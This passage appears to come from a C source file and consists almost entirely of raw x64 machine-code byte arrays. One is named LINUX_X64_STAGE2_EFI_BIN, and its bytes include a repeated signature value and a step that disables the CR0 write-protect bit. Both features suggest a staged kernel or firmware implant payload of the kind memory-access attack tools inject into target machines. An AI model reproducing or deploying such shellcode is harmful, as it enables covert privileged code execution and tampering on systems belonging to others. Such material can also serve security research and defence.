0x4b,\n  0x10, 0x48, 0x8b, 0xd0, 0xe8, 0x67, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x74,\n  0x2c, 0x48, 0x8b, 0x4b, 0x10, 0x48, 0x8b, 0xd0, 0xe8, 0x1c, 0xfe, 0xff, 0xff, 0x48, 0x85, 0xc0,\n  0x74, 0x1b, 0x48, 0x89, 0x43, 0x28, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x43, 0x18, 0x00,\n  0x00, 0x20, 0x00, 0x48, 0x89, 0x73, 0x20, 0x48, 0x89, 0x7b, 0x70, 0xeb, 0x02, 0x33, 0xc0, 0x48,\n  0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x74, 0x24, 0x38, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0xcc,\n  0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, 0x79, 0x78, 0x48, 0x8b,\n  0xd9, 0x48, 0x83, 0x61, 0x78, 0x00, 0x48, 0x8b, 0x89, 0x90, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc9,\n  0x74, 0x39, 0x48, 0x85, 0xff, 0x74, 0x34, 0x48, 0x8b, 0x43, 0x20, 0x48, 0x8d, 0x57, 0x10, 0x48,\n  0x83, 0x64, 0x24, 0x28, 0x00, 0x4c, 0x8b, 0x4b, 0x28, 0x4c, 0x8b, 0x43, 0x18, 0x48, 0x89, 0x44,\n  0x24, 0x20, 0xe8, 0x4e, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0xa8, 0x03, 0x00, 0x00, 0x48, 0x85,\n  0xc9, 0x74, 0x08, 0x48, 0x8b, 0xd7, 0xe8, 0x3a, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x40,\n  0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b,\n  0xd9, 0xe8, 0x8a, 0xff, 0xff, 0xff, 0x48, 0x8b, 0xcb, 0xe8, 0xfe, 0x00, 0x00, 0x00, 0x48, 0x83,\n  0x63, 0x20, 0x00, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0xcc,\n  0x48, 0x85, 0xd2, 0x0f, 0x84, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08,\n  0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83,\n  0xec, 0x20, 0x48, 0x8b, 0xd9, 0x4d, 0x8b, 0xf0, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xf2, 0xe8,\n  0x5c, 0xfd, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x92, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4b,\n  0x10, 0x48, 0x8b, 0xd0, 0xe8, 0x10, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0xe8, 0x48, 0x85, 0xc0, 0x74,\n  0x7e, 0x48, 0x83, 0xbb, 0xb8, 0x03, 0x00, 0x00, 0x00, 0x74, 0x62, 0x49, 0x8b, 0xce, 0xbf, 0x00,\n  0x10, 0x00, 0x00, 0x48, 0xd3, 0xe7, 0x48, 0x83, 0xbb, 0x78, 0x03, 0x00, 0x00, 0x00, 0x74, 0x21,\n  0x48, 0x83, 0xbb, 0x80, 0x03, 0x00, 0x00, 0x00, 0x74, 0x17, 0x48, 0x8b, 0x8b, 0x70, 0x03, 0x00,\n  0x00, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x4c, 0x8b, 0xc7, 0x48, 0x8b, 0xd0, 0xe8, 0x74, 0xfc, 0xff,\n  0xff, 0x48, 0x8b, 0x8b, 0x80, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x0b, 0x4c, 0x8b, 0xc7,\n  0x48, 0x8b, 0xd5, 0xe8, 0x5d, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0xb8, 0x03, 0x00, 0x00, 0x4c,\n  0x8b, 0xcf, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xd5, 0xe8, 0x48, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0x8b,\n  0x18, 0x03, 0x00, 0x00, 0x4d, 0x8b, 0xc6, 0x48, 0x8b, 0xd6, 0xe8, 0x36, 0xfc, 0xff, 0xff, 0x48,\n  0x8b, 0x5c, 0x24, 0x30, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x48, 0x8b,\n  0x7c, 0x24, 0x48, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5e, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28,\n  0x48, 0x8b, 0x51, 0x70, 0x48, 0x83, 0x61, 0x70, 0x00, 0x48, 0x85, 0xd2, 0x74, 0x0b, 0x41, 0xb8,\n  0x09, 0x00, 0x00, 0x00, 0xe8, 0xf7, 0xfe, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x28, 0xc3, 0xcc, 0xcc,\n  0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0xb9, 0x00, 0x03, 0x00,\n  0x00, 0x48, 0x8b, 0xd9, 0x48, 0x8b, 0x49, 0x10, 0x48, 0x8b, 0xd7, 0xe8, 0x25, 0xf9, 0xff, 0xff,\n  0x48, 0x8b, 0x83, 0x30, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x21, 0x48, 0x8b, 0x83, 0x50,\n  0x03, 0x00, 0x00, 0x48, 0x89, 0x83, 0x30, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x0e, 0x48,\n  0x8b, 0x83, 0x60, 0x03, 0x00, 0x00, 0x48, 0x89, 0x83, 0x30, 0x03, 0x00, 0x00, 0x33, 0xc9, 0x8d,\n  0x41, 0x01, 0x48, 0x83, 0x3f, 0x00, 0x74, 0x0d, 0x03, 0xc8, 0x48, 0x83, 0xc7, 0x08, 0x83, 0xf9,\n  0x0a, 0x72, 0xef, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20,\n  0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x57, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b,\n  0xd9, 0xc7, 0x44, 0x24, 0x40, 0x64, 0x65, 0x76, 0x00, 0x48, 0x8b, 0x89, 0x98, 0x03, 0x00, 0x00,\n  0x48, 0x8b, 0xfa, 0x48, 0x85, 0xc9, 0x74, 0x51, 0x48, 0x83, 0xbb, 0xa0, 0x03, 0x00, 0x00, 0x00,\n  0x74, 0x47, 0x48, 0x83, 0xbb, 0xb0, 0x03, 0x00, 0x00, 0x00, 0x74, 0x3d, 0x49, 0x83, 0xc8, 0xff,\n  0x48, 0x8d, 0x54, 0x24, 0x40, 0xe8, 0x3b, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x2a, 0x48,\n  0x83, 0x64, 0x24, 0x28, 0x00, 0x48, 0x8d, 0x50, 0x10, 0x48, 0x8b, 0x8b, 0xb0, 0x03, 0x00, 0x00,\n  0x4c, 0x8b, 0xcf, 0x41, 0xb8, 0x00, 0x20, 0x00, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x20, 0xc4, 0x0c,\n  0x00, 0x00, 0xe8, 0x0e, 0xfb, 0xff, 0xff, 0xeb, 0x02, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x48,\n  0x48, 0x83, 0xc4, 0x30, 0x5f, 0xc3, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x51, 0x60,\n  0x48, 0x83, 0x61, 0x60, 0x00, 0x48, 0x85, 0xd2, 0x74, 0x12, 0x48, 0x83, 0x79, 0x68, 0x00, 0x74,\n  0x0b, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xe8, 0xd4, 0xfd, 0xff, 0xff, 0x48, 0x83, 0xc4, 0x28,\n  0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89,\n  0x74, 0x24, 0x18, 0x57, 0x41, 0x54, 0x41, 0x56, 0x48, 0x83, 0xec, 0x50, 0x48, 0xb8, 0x77, 0x33,\n  0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0xc7, 0x41, 0x50, 0x02, 0x00, 0x00, 0x00, 0x48, 0x89,\n  0x01, 0x48, 0x8b, 0xd9, 0xe8, 0xa7, 0xfe, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x0e, 0xb8, 0x01, 0x00,\n  0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0xec, 0x02, 0x00, 0x00, 0x48, 0x83, 0xbb, 0x78, 0x03,\n  0x00, 0x00, 0x00, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x74, 0x1c, 0x48, 0x83, 0xbb, 0x80, 0x03,\n  0x00, 0x00, 0x00, 0x74, 0x12, 0x48, 0x83, 0xbb, 0x70, 0x03, 0x00, 0x00, 0x00, 0x74, 0x08, 0x41,\n  0x8b, 0xfc, 0x45, 0x8b, 0xf4, 0xeb, 0x05, 0x33, 0xff, 0x45, 0x33, 0xf6, 0x48, 0x8b, 0xcb, 0xe8,\n  0xfc, 0xfb, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0xb2,\n  0x85, 0xff, 0x75, 0x18, 0x4c, 0x8b, 0x43, 0x18, 0x48, 0x8b, 0x53, 0x28, 0x48, 0x8b, 0x8b, 0x10,\n  0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0xe8, 0x29, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x30,\n  0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0xe8, 0x18, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x8b,\n  0x28, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8, 0x08, 0xfa, 0xff, 0xff, 0x48, 0x8b, 0x83,\n  0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x34, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00,\n  0x48, 0x8d, 0x54, 0x24, 0x40, 0xe8, 0xeb, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48,\n  0x83, 0xc0, 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76, 0xc3, 0x48, 0x8b, 0x8b, 0x00, 0x03, 0x00,\n  0x00, 0xba, 0x64, 0x00, 0x00, 0x00, 0xe8, 0xca, 0xf9, 0xff, 0xff, 0xeb, 0xb0, 0x48, 0xc7, 0x43,\n  0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84, 0xf7, 0x01, 0x00, 0x00, 0x48,\n  0x83, 0xf8, 0x04, 0x75, 0x57, 0x48, 0x83, 0x7b, 0x60, 0x00, 0x74, 0x0f, 0x48, 0x83, 0x7b, 0x68,\n  0x00, 0x74, 0x08, 0x48, 0x8b, 0xcb, 0xe8, 0x9d, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x38, 0x03,\n  0x00, 0x00, 0x48, 0x8d, 0x7b, 0x38, 0x48, 0x85, 0xc9, 0x74, 0x27, 0x48, 0x83, 0x63, 0x48, 0x00,\n  0x48, 0x8d, 0x05, 0x26, 0xfa, 0xff, 0xff, 0x4c, 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41,\n  0x83, 0xc8, 0xff, 0x33, 0xd2, 0xe8, 0x6b, 0xf9, 0xff, 0xff, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f,\n  0x94, 0xc1, 0x48, 0x89, 0x0f, 0xe8, 0x54, 0xfa, 0xff, 0xff, 0xeb, 0x04, 0x48, 0x8d, 0x7b, 0x38,\n  0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x05, 0x75, 0x6f, 0x4d, 0x85, 0xf6, 0x74, 0x1c, 0x48,\n  0x8b, 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x78, 0x03, 0x00, 0x00,\n  0xe8, 0x30, 0xf9, 0xff, 0xff, 0x48, 0x8d, 0x73, 0x38, 0xeb, 0x03, 0x48, 0x8b, 0xf7, 0x4c, 0x8d,\n  0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff,\n  0x53, 0x28, 0x4c, 0x89, 0x27, 0x48, 0x8b, 0xfe, 0x4d, 0x85, 0xf6, 0x74, 0x2c, 0x48, 0x8b, 0x53,\n  0x28, 0x41, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8b, 0x70, 0x03, 0x00, 0x00, 0xe8, 0xf2,\n  0xf8, 0xff, 0xff, 0x48, 0x8b, 0x53, 0x28, 0x41, 0xb8, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8b,\n  0x80, 0x03, 0x00, 0x00, 0xe8, 0xdc, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00,\n  0x49, 0x3b, 0xc4, 0x74, 0x0a, 0x48, 0x83, 0xf8, 0x02, 0x0f, 0x85, 0xb0, 0x00, 0x00, 0x00, 0x4c,\n  0x8b, 0x43, 0x48, 0x48, 0x8d, 0x05, 0x89, 0xf9, 0xff, 0xff, 0x48, 0x8b, 0x53, 0x40, 0x4c, 0x8b,\n  0xcb, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c,\n  0x48, 0x89, 0x44, 0x24, 0x20, 0xe8, 0x9b, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0xe8, 0x49, 0x3b, 0xc4,\n  0x75, 0x06, 0x48, 0x83, 0x27, 0x00, 0xeb, 0x77, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85, 0xed, 0x75,\n  0x0b, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0xcf, 0xf8, 0xff, 0xff, 0xeb, 0x10, 0x4c, 0x8b, 0x43, 0x48,\n  0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, 0xe8, 0x69, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x48,\n  0x85, 0xc0, 0x74, 0x43, 0x4c, 0x39, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x4c, 0x8b, 0xc0, 0x48, 0x8b,\n  0x53, 0x28, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x0f, 0x45, 0xc2, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00,\n  0x00, 0x48, 0x0f, 0x45, 0xd0, 0xe8, 0x3b, 0xf8, 0xff, 0xff, 0x48, 0x85, 0xed, 0x74, 0x0f, 0x48,\n  0x8b, 0x8b, 0x40, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd6, 0xe8, 0x27, 0xf8, 0xff, 0xff, 0x48, 0x8d,\n  0x7b, 0x38, 0x4c, 0x89, 0x27, 0xeb, 0x08, 0x48, 0x83, 0x27, 0x00, 0x48, 0x8d, 0x7b, 0x38, 0x48,\n  0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06, 0x75, 0x1b, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43,\n  0x40, 0x48, 0x8b, 0x53, 0x28, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0xf4, 0xf7, 0xff,\n  0xff, 0x4c, 0x89, 0x27, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x1b, 0x4c, 0x8b,\n  0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00,\n  0x00, 0xe8, 0xcf, 0xf7, 0xff, 0xff, 0x4c, 0x89, 0x27, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00,\n  0x00, 0xe9, 0x96, 0xfd, 0xff, 0xff, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x48, 0x8b, 0xcb, 0x48, 0x89,\n  0x43, 0x30, 0xe8, 0x81, 0xfa, 0xff, 0xff, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f,\n  0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c, 0x8d, 0x5c, 0x24, 0x50, 0x49, 0x8b, 0x5b, 0x20,\n  0x49, 0x8b, 0x6b, 0x28, 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x41, 0x5c, 0x5f,\n  0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x08, 0x57, 0x48, 0x83, 0xec, 0x20, 0x48, 0x83,\n  0x64, 0x24, 0x38, 0x00, 0x48, 0x8b, 0xd9, 0xe8, 0x74, 0xfb, 0xff, 0xff, 0x85, 0xc0, 0x0f, 0x84,\n  0xda, 0x00, 0x00, 0x00, 0x48, 0x83, 0xbb, 0x78, 0x03, 0x00, 0x00, 0x00, 0x74, 0x18, 0x48, 0x83,\n  0xbb, 0x80, 0x03, 0x00, 0x00, 0x00, 0x74, 0x0e, 0x48, 0x83, 0xbb, 0x70, 0x03, 0x00, 0x00, 0x00,\n  0x0f, 0x85, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x38, 0x48, 0x8b, 0xcb, 0xe8, 0xb1,\n  0xfb, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x9f, 0x00, 0x00, 0x00, 0x48,\n  0x83, 0x7c, 0x24, 0x38, 0x00, 0x0f, 0x84, 0x93, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xd3, 0x48, 0x8b,\n  0xc8, 0x48, 0x2b, 0xd0, 0x41, 0xb8, 0x00, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x04, 0x0a, 0x48, 0x89,\n  0x01, 0x48, 0x8d, 0x49, 0x08, 0x49, 0x83, 0xe8, 0x01, 0x75, 0xef, 0x48, 0x8b, 0x8b, 0x78, 0x03,\n  0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x12, 0x4c, 0x39, 0x83, 0x80, 0x03, 0x00, 0x00, 0x74, 0x09,\n  0x4c, 0x39, 0x83, 0x70, 0x03, 0x00, 0x00, 0x75, 0x07, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00, 0x00,\n  0x48, 0x8d, 0x97, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xe8, 0xc3, 0xf6,\n  0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff,\n  0xff, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x48, 0x0b, 0xc1, 0x48, 0x89, 0x43, 0x50,\n  0x48, 0x2b, 0xfb, 0x48, 0xb8, 0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0x89, 0x03,\n  0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0x48, 0x8b, 0xc7, 0xeb, 0x02, 0x33, 0xc0,\n  0x48, 0x8b, 0x5c, 0x24, 0x30, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3\n};\n\nconst BYTE LINUX_X64_STAGE2_EFI_BIN[] = {\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n    0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00,\n    0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00,\n    0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x49, 0xc7, 0xc3, 0x0e,\n    0x00, 0x00, 0x00, 0x49, 0xff, 0xcb, 0x58, 0x48, 0x85, 0xc0, 0x74, 0xf7,\n    0x50, 0x4c, 0x8b, 0xd0, 0x48, 0x8d, 0x05, 0xf9, 0xfe, 0xff, 0xff, 0x42,\n    0xff, 0x74, 0xd8, 0x08, 0x57, 0x56, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51,\n    0x53, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0xc7,\n    0xc1, 0x0e, 0x00, 0x00, 0x00, 0x48, 0xff, 0xc9, 0x48, 0x8d, 0x05, 0xd1,\n    0xfe, 0xff, 0xff, 0x48, 0x8b, 0x14, 0xc8, 0x48, 0x8b, 0x05, 0xbe, 0xfe,\n    0xff, 0xff, 0x48, 0x89, 0x54, 0xc8, 0x18, 0x48, 0x85, 0xc9, 0x75, 0xe1,\n    0x49, 0x8b, 0xca, 0xe8, 0x26, 0x00, 0x00, 0x00, 0xe8, 0x76, 0x00, 0x00,\n    0x00, 0xe8, 0xf4, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d,\n    0x41, 0x5c, 0x5d, 0x5b, 0x41, 0x59, 0x41, 0x58, 0x5a, 0x59, 0x5e, 0x5f,\n    0x58, 0x48, 0x89, 0x05, 0x08, 0xff, 0xff, 0xff, 0xff, 0xe0, 0x48, 0x8d,\n    0x05, 0x1f, 0x02, 0x00, 0x00, 0x4c, 0x8b, 0x28, 0x4c, 0x8b, 0x70, 0x08,\n    0x4c, 0x8b, 0x78, 0x0e, 0x48, 0xff, 0xc1, 0x48, 0x8b, 0x01, 0x49, 0x3b,\n    0xc5, 0x75, 0xf5, 0x48, 0x8b, 0x41, 0x08, 0x49, 0x3b, 0xc6, 0x75, 0xec,\n    0x48, 0x8b, 0x41, 0x0e, 0x49, 0x3b, 0xc7, 0x75, 0xe3, 0x48, 0xff, 0xc1,\n    0x4c, 0x8b, 0xf9, 0x48, 0xc1, 0xe9, 0x03, 0x48, 0xc1, 0xe1, 0x03, 0x48,\n    0x83, 0xe9, 0x08, 0x48, 0x8b, 0x01, 0x49, 0x3b, 0xc7, 0x75, 0xf4, 0x48,\n    0x8b, 0x41, 0xf8, 0x48, 0x89, 0x05, 0x02, 0xff, 0xff, 0xff, 0xc3, 0x41,\n    0x57, 0x4c, 0x8b, 0x3d, 0xf8, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0x20,\n    0x02, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, 0xdf, 0xfe, 0xff,\n    0xff, 0x48, 0x8d, 0x3d, 0x18, 0x02, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48,\n    0x89, 0x05, 0xc6, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0xcc, 0x01, 0x00,\n    0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, 0xad, 0xfe, 0xff, 0xff, 0x48,\n    0x8d, 0x3d, 0xcf, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05,\n    0x94, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0xcf, 0x01, 0x00, 0x00, 0x41,\n    0xff, 0xd7, 0x48, 0x89, 0x05, 0x6b, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d,\n    0x82, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, 0x62, 0xfe,\n    0xff, 0xff, 0x48, 0x8d, 0x3d, 0xd0, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7,\n    0x48, 0x89, 0x05, 0x59, 0xfe, 0xff, 0xff, 0x41, 0x5f, 0xc3, 0x48, 0xc7,\n    0xc7, 0x14, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x00, 0x00, 0x00, 0x00,\n    0xff, 0x15, 0x52, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0xe8, 0x1c, 0x01,\n    0x00, 0x00, 0x4c, 0x8b, 0xe8, 0x49, 0x8b, 0xfd, 0xe8, 0xeb, 0x00, 0x00,\n    0x00, 0x4c, 0x8b, 0xe0, 0x4c, 0x89, 0x2d, 0xfd, 0xfd, 0xff, 0xff, 0x4c,\n    0x89, 0x25, 0xfe, 0xfd, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xc4, 0x01, 0x00,\n    0x00, 0x48, 0x8d, 0x15, 0xd0, 0x01, 0x00, 0x00, 0x48, 0x81, 0xe2, 0xff,\n    0x0f, 0x00, 0x00, 0x49, 0x03, 0xd4, 0x48, 0x89, 0x10, 0x48, 0x8b, 0x15,\n    0x1c, 0xfe, 0xff, 0xff, 0x48, 0x83, 0xc2, 0x19, 0x48, 0x8b, 0x0d, 0x09,\n    0xfe, 0xff, 0xff, 0x2b, 0xca, 0x48, 0x8d, 0x05, 0xa4, 0x01, 0x00, 0x00,\n    0x89, 0x08, 0x48, 0x33, 0xc9, 0x4c, 0x8b, 0x05, 0xfc, 0xfd, 0xff, 0xff,\n    0x4c, 0x8d, 0x0d, 0x5c, 0x01, 0x00, 0x00, 0x4a, 0x8b, 0x04, 0x01, 0x4a,\n    0x89, 0x04, 0x09, 0x48, 0x83, 0xc1, 0x08, 0x48, 0x83, 0xf9, 0x20, 0x75,\n    0xee, 0x48, 0x33, 0xc9, 0x4c, 0x8d, 0x05, 0xe9, 0xfd, 0xff, 0xff, 0x49,\n    0xc1, 0xe8, 0x0c, 0x49, 0xc1, 0xe0, 0x0c, 0x4a, 0x8b, 0x04, 0x01, 0x4a,\n    0x89, 0x04, 0x21, 0x48, 0x83, 0xc1, 0x08, 0x48, 0x81, 0xf9, 0x00, 0x10,\n    0x00, 0x00, 0x75, 0xeb, 0x0f, 0x20, 0xc0, 0x4c, 0x8b, 0xf8, 0x25, 0xff,\n    0xff, 0xfe, 0xff, 0x0f, 0x22, 0xc0, 0x48, 0x33, 0xc9, 0x4c, 0x8b, 0x05,\n    0xa4, 0xfd, 0xff, 0xff, 